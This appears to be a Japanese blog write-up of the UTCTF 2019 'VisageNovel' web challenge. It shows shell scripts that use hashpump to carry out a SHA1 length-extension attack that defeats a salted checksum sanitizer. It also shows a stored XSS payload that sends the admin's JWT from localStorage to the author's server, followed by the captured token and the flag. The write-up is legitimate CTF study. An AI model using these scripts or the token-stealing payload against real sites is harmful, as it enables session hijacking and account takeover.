こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

UTCTF 2019 CTF Writeup - VisageNovel

Question

After becoming king, Shrek decides to create a social network for all citizens of Duloc, 
using the most modern web technologies such as React and Express. 
Become an admin and gain access to the exclusive admins-only flag portal.

http://visagenovel.ga

Note: please make up new passwords to use on this site. It's probably safe, but I make no guarantees!

f:id:graneed:20190311005326p:plain

Solution

アカウントを作成してログインすると、以下4つのボタンがある画面が表示される。

  • GET FLAG
  • UPDATE USER
  • UPDATE PASSWORD
  • LOGOUT

f:id:graneed:20190311005958p:plain

GET FLAGボタンを押下すると、You are not an adminの表示。
f:id:graneed:20190311010250p:plain

UPDATE USERボタンを押下すると、First Name、Last Name、Email、Statusを更新可能な画面へ遷移。
f:id:graneed:20190311010228p:plain

試しに各入力項目に<script>alert(1)</script>を入力して、SAVE CHANGESボタンを押下する。
First Name、Last Name、Emailには反映されたが、エスケープ処理がかかっている。
Statusは空になっている。
f:id:graneed:20190311010457p:plain

この時の通信を観察すると、/sanitizeへリクエストをしてから、/updateUserにリクエストをしていた。

/sanitizeへのリクエス

GET /sanitize?content=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
(snip)

/sanitizeからのレスポンス

{"content":"","checksum":"885d278160d296b3d286a021e5c9a01081dd2adb"}

/updateUserへのリクエス

PUT /updateUser HTTP/1.1
(snip)
{"first_name":"<script>alert(1)</script>","last_name":"<script>alert(1)</script>","email":"<script>alert(1)</script>","status":"","checksum":"885d278160d296b3d286a021e5c9a01081dd2adb","username":"wwww"}

/updateUserからのレスポンス

{"auth":true,"message":"user updated"}

つまり、/sanitizeでStatus項目の更新文字列に対してサニタイズ処理をしてタグを除去した上で、/updateUserに更新文字列を送信している。 また、/sanitize/updateUserの間で改ざんされていないことをチェックするため、checksumを使用している。

このchecksumの計算にはSALTを使用してSHA1計算をしているようで、更新文字列をSHA1計算しても一致しない。

次に、Share Linkを確認する。
適当な別ユーザのページにアクセスしてみると、THIS IS INAPPROPRIATEのリンクが表示されている。

f:id:graneed:20190311011752p:plain

押下すると、User reported! An admin should take a look at this within 10 minutes.の表示。
管理者がチェックにくるようだ。
この機能があるということは、XSSで管理者の認証情報を窃取するパターンと推測。

サニタイズ処理をバイパスして、Status項目に認証情報を自サーバに送信させるスクリプトを埋め込み、
別ユーザで管理者に通報させれば、管理者の認証情報を取得してフラグが取れそうだ。

サニタイズ処理のバイパス方法だが、SALT付きでSHA1のハッシュ計算をしている点から、Length Extension Attackを疑う。

hashpumpを使うが、SALTの文字列の長さがわからないため、1~100まで総当たりするシェルスクリプトを作って確認する。
なお、正常系を観察すると、StatusはBASE64エンコードした文字列をセットする仕様。

#!/bin/sh

for i in `seq 1 100`; do
  echo "---------------- $i ----------------"
  payload="<img src=x onerror=alert(1)>"
  status=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | tail -1 | xargs -d @ echo -e | tr -d "\n" | base64 -w0`
  checksum=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | head -1 | xargs echo -n`
  curl http://visagenovel.ga:3003/updateUser -X PUT \
  -H "Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTU5LCJpYXQiOjE1NTIyMTA4MzZ9.kWvPPDHO64bxpzdBK7uGC8V838Y1yaRm7S53yvRrlOI" \
  -H "Content-Type: application/json;charset=UTF-8" \
  -d '{"first_name":"vvv","last_name":"vvv","email":"vvv","status":"'$status'","checksum":"'$checksum'","username":"vvv"}'
  echo ""
done

実行結果は以下の通り。

root@kali:~/Contest/UTCTF2019# ./updateUser.1.sh 
---------------- 1 ----------------
"your checksum is invalid"
---------------- 2 ----------------
"your checksum is invalid"
---------------- 3 ----------------
"your checksum is invalid"
(snip)
---------------- 30 ----------------
"your checksum is invalid"
---------------- 31 ----------------
"your checksum is invalid"
---------------- 32 ----------------
{"auth":true,"message":"user updated"}

長さ32で更新に成功した!

画面を表示してみると、alertが表示された。 f:id:graneed:20190311013435p:plain

次に、自サーバに認証情報を送信させるスクリプトを埋め込む。
認証情報とは、HTTP Request HeaderにセットされるJWTを指す。
/static/js/main.3a75770c.jsより、localStorageにJWTという名前で保存されていることを突き止める。

以下のシェルスクリプトで、JWTを窃取するスクリプトをStatusに埋め込む。

#!/bin/sh

i=32
payload="<img src=x onerror=location.href='http://myserver/?q='+localStorage.getItem('JWT')>"
status=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | tail -1 | xargs -d @ echo -e | tr -d "\n" | base64 -w0`
checksum=`hashpump -s faf0fe3e1c5828bf234de5dd3dc7e5bc4b2d53b6 -d aaa -k $i -a "$payload" | head -1 | xargs echo -n`
curl http://visagenovel.ga:3003/updateUser -X PUT \
-H "Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTU5LCJpYXQiOjE1NTIyMTA4MzZ9.kWvPPDHO64bxpzdBK7uGC8V838Y1yaRm7S53yvRrlOI" \
-H "Content-Type: application/json;charset=UTF-8" \
-d '{"first_name":"vvv","last_name":"vvv","email":"vvv","status":"'$status'","checksum":"'$checksum'","username":"vvv"}'

実行する。

root@kali:~/Contest/UTCTF2019# ./updateUser.sh 
{"auth":true,"message":"user updated"}

別アカウントを作成し、通報してしばらく待つと、管理者からJWTが送られてきた。

35.196.23.32 - - [10/Mar/2019:22:45:19 +0900] "GET /?q=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwiaWF0IjoxNTUyMjI1NTE5fQ.ZtHgK9-P3blfs3s6uKqERvt1oe6_hBq6wDy5pTYGJWA HTTP/1.1" 200 288 "http://visagenovel.ga/userProfile/vvv" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/73.0.3679.0 Safari/537.36"

/static/js/main.3a75770c.jsより/getFlagというAPIがあることを確認し、JWTを付けてリクエストする。

GET /getFlag HTTP/1.1
Host: visagenovel.ga:3003
Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwiaWF0IjoxNTUyMjI1NTE5fQ.ZtHgK9-P3blfs3s6uKqERvt1oe6_hBq6wDy5pTYGJWA
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 55
ETag: W/"37-wJDqotZWMmAlTpGhBR7Qqe+aHnc"
Date: Sun, 10 Mar 2019 16:47:10 GMT
Connection: keep-alive

{"flag":"utflag{2_be_fair_u_need_A_v_hi_iq_to_do_xss}"}

フラグゲット。

checksumの計算が、若干のエスパー感がある問題だった。